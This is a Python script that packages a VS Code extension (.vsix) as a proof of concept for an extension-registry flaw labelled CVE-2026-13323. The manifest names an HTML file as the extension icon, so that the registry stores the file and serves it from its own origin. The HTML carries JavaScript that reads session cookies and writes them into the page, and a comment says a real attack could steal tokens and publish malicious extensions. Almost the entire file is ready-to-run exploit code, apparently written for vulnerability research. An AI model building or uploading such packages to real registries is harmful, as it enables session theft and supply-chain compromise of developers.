import zipfile, os

vsix_path = "vpub.vext-1.0.0.vsix"

content_types = '''<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="json" ContentType="application/json"/>
  <Default Extension="html" ContentType="text/html"/>
  <Default Extension="vsixmanifest" ContentType="text/xml"/>
</Types>'''

vsixmanifest = '''<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
  <Metadata>
    <Identity Language="en-US" Id="vext" Version="1.0.0" Publisher="vpub"/>
    <DisplayName>Variant Test Extension</DisplayName>
    <Description xml:space="preserve">Variant test for CVE-2026-13323</Description>
    <Tags>__ext_vext</Tags>
    <Categories>Other</Categories>
    <GalleryFlags>Public</GalleryFlags>
    <Properties>
      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.51.1" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" />
      <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" />
    </Properties>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code"/>
  </Installation>
  <Dependencies/>
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>'''

# KEY: the "icon" field points at an HTML file. ExtensionProcessor.getIcon()
# performs NO type validation, so this HTML file is stored as the ICON FileResource.
package_json = '''{
  "name": "vext",
  "displayName": "Variant Test Extension",
  "description": "Variant test for CVE-2026-13323",
  "publisher": "vpub",
  "version": "1.0.0",
  "engines": { "vscode": "^1.51.1" },
  "categories": ["Other"],
  "icon": "payload.html",
  "main": "./out/extension.js",
  "contributes": {
    "commands": [{ "command": "vext.hello", "title": "Hello World" }]
  }
}'''

html_payload = '''<!DOCTYPE html>
<html>
<head><title>OpenVSX Variant PoC - Icon Smuggling</title></head>
<body>
<h1>CVE-2026-13323 VARIANT PoC (HTML-as-icon)</h1>
<p>This HTML file is smuggled as the extension icon and served from the registry origin.</p>
<script>
// In a real attack this runs in the open-vsx.org origin and can exfiltrate
// session tokens / mint PATs / publish malicious extension versions.
document.title = "EXFIL_VARIANT: " + document.cookie;
var proof = document.createElement("div");
proof.id = "variant-poc-proof";
proof.innerText = "VARIANT_JS_EXECUTED_IN_REGISTRY_ORIGIN cookies=" + document.cookie;
document.body.appendChild(proof);
</script>
</body>
</html>'''

extension_js = '// Minimal extension entry point\nexports.activate = function() {};\nexports.deactivate = function() {};'

with zipfile.ZipFile(vsix_path, 'w', zipfile.ZIP_DEFLATED) as z:
    z.writestr('[Content_Types].xml', content_types)
    z.writestr('extension.vsixmanifest', vsixmanifest)
    z.writestr('extension/package.json', package_json)
    z.writestr('extension/payload.html', html_payload)
    z.writestr('extension/out/extension.js', extension_js)

print(f"Created {vsix_path} ({os.path.getsize(vsix_path)} bytes)")
